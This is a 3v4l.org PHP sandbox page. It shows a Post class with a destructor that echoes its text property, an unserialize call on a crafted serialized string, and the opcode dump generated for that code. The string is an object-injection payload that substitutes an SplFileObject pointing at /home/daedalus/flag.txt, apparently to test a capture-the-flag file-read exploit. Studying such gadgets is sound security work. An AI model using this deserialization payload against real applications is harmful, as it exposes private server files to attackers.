3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; echo unserialize('O:4:"Post":3:{s:8:"*title";s:19:"huehuehue i repor u";s:7:"*text";O:13:"SplFileObject":12:{s:24:"SplFileObjectdelimiter";s:1:",";s:24:"SplFileObjectenclosure";s:1:""";s:21:"SplFileObjectescape";s:1:"\";s:20:"SplFileObjectflags";N;s:23:"SplFileObjectfilename";s:23:"/home/daedalus/flag.txt";s:25:"SplFileObjectmaxLineLen";i:0;s:29:"SplFileObjectcurrentLineNum";i:0;s:19:"SplFileObjectrsrc";b:0;s:26:"SplFileObjectcurrentLine";b:0;s:21:"SplFileInfofileName";s:23:"/home/daedalus/flag.txt";s:22:"SplFileInfofileClass";s:13:"SplFileObject";s:22:"SplFileInfoinfoClass";N;}s:10:"*filters";a:0:{}}');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/50WL5
function name:  (null)
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   36     0  E >   INIT_FCALL                                               'unserialize'
          1        SEND_VAL                                                 'O%3A4%3A%22Post%22%3A3%3A%7Bs%3A8%3A%22%2Atitle%22%3Bs%3A19%3A%22huehuehue+i+repor+u%22%3Bs%3A7%3A%22%2Atext%22%3BO%3A13%3A%22SplFileObject%22%3A12%3A%7Bs%3A24%3A%22SplFileObjectdelimiter%22%3Bs%3A1%3A%22%2C%22%3Bs%3A24%3A%22SplFileObjectenclosure%22%3Bs%3A1%3A%22%22%22%3Bs%3A21%3A%22SplFileObjectescape%22%3Bs%3A1%3A%22%5C%22%3Bs%3A20%3A%22SplFileObjectflags%22%3BN%3Bs%3A23%3A%22SplFileObjectfilename%22%3Bs%3A23%3A%22%2Fhome%2Fdaedalus%2Fflag.txt%22%3Bs%3A25%3A%22SplFileObjectmaxLineLen%22%3Bi%3A0%3Bs%3A29%3A%22SplFileObjectcurrentLineNum%22%3Bi%3A0%3Bs%3A19%3A%22SplFileObjectrsrc%22%3Bb%3A0%3Bs%3A26%3A%22SplFileObjectcurrentLine%22%3Bb%3A0%3Bs%3A21%3A%22SplFileInfofileName%22%3Bs%3A23%3A%22%2Fhome%2Fdaedalus%2Fflag.txt%22%3Bs%3A22%3A%22SplFileInfofileClass%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A22%3A%22SplFileInfoinfoClass%22%3BN%3B%7Ds%3A10%3A%22%2Afilters%22%3Ba%3A0%3A%7B%7D%7D'
          2        DO_ICALL                                         $0      
          3        ECHO                                                     $0
          4      > RETURN                                                   1

Class Post:
Function __construct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/50WL5
function name:  __construct
number of ops:  10
compiled vars:  !0 = $title, !1 = $text, !2 = $filters
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
    7     3        ASSIGN_OBJ                                               'title'
          4        OP_DATA                                                  !0
    8     5        ASSIGN_OBJ                                               'text'
          6        OP_DATA                                                  !1
    9     7        ASSIGN_OBJ                                               'filters'
          8        OP_DATA                                                  !2
   10     9      > RETURN                                                   null

End of function __construct

Function get_title:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/50WL5
function name:  get_title
number of ops:  6
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   13     0  E >   INIT_FCALL                                               'htmlspecialchars'
          1        FETCH_OBJ_R                                      ~0      'title'
          2        SEND_VAL                                                 ~0
          3        DO_ICALL                                         $1      
          4      > RETURN                                                   $1
   14     5*     > RETURN                                                   null

End of function get_title

Function display_post:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 7, Position 2 = 13
Branch analysis from position: 7
2 jumps found. (Code = 78) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
1 jumps found. (Code = 42) Position 1 = 7
Branch analysis from position: 7
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
filename:       /in/50WL5
function name:  display_post
number of ops:  16
compiled vars:  !0 = $text, !1 = $filter
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   17     0  E >   INIT_FCALL                                               'htmlspecialchars'
          1        FETCH_OBJ_R                                      ~2      'text'
          2        SEND_VAL                                                 ~2
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !0, $3
   18     5        FETCH_OBJ_R                                      ~5      'filters'
          6      > FE_RESET_R                                       $6      ~5, ->13
          7    > > FE_FETCH_R                                               $6, !1, ->13
   19     8    >   INIT_METHOD_CALL                                         !1, 'filter'
          9        SEND_VAR_EX                                              !0
         10        DO_FCALL                                      0  $7      
         11        ASSIGN                                                   !0, $7
   18    12      > JMP                                                      ->7
         13    >   FE_FREE                                                  $6
   20    14      > RETURN                                                   !0
   21    15*     > RETURN                                                   null

End of function display_post

Function __destruct:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 13, Position 2 = 19
Branch analysis from position: 13
2 jumps found. (Code = 78) Position 1 = 14, Position 2 = 19
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 13
Branch analysis from position: 13
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 19
filename:       /in/50WL5
function name:  __destruct
number of ops:  27
compiled vars:  !0 = $s, !1 = $text, !2 = $filter
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   25     0  E >   INIT_FCALL                                               'htmlspecialchars'
          1        FETCH_OBJ_R                                      ~3      'title'
          2        SEND_VAL                                                 ~3
          3        DO_ICALL                                         $4      
          4        CONCAT                                           ~5      '%3C%21--+POST+', $4
          5        ASSIGN                                                   !0, ~5
   26     6        INIT_FCALL                                               'htmlspecialchars'
          7        FETCH_OBJ_R                                      ~7      'text'
          8        SEND_VAL                                                 ~7
          9        DO_ICALL                                         $8      
         10        ASSIGN                                                   !1, $8
   27    11        FETCH_OBJ_R                                      ~10     'filters'
         12      > FE_RESET_R                                       $11     ~10, ->19
         13    > > FE_FETCH_R                                               $11, !2, ->19
   28    14    >   INIT_METHOD_CALL                                         !2, 'filter'
         15        SEND_VAR_EX                                              !1
         16        DO_FCALL                                      0  $12     
         17        ASSIGN                                                   !1, $12
   27    18      > JMP                                                      ->13
         19    >   FE_FREE                                                  $11
   29    20        CONCAT                                           ~14     !0, '%3A+'
         21        CONCAT                                           ~15     ~14, !1
         22        ASSIGN                                                   !0, ~15
   30    23        CONCAT                                           ~17     !0, '+--%3E'
         24        ASSIGN                                                   !0, ~17
   31    25        ECHO                                                     !0
   32    26      > RETURN                                                   null

End of function __destruct

End of class Post.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
270.96 ms | 1404 KiB | 18 Q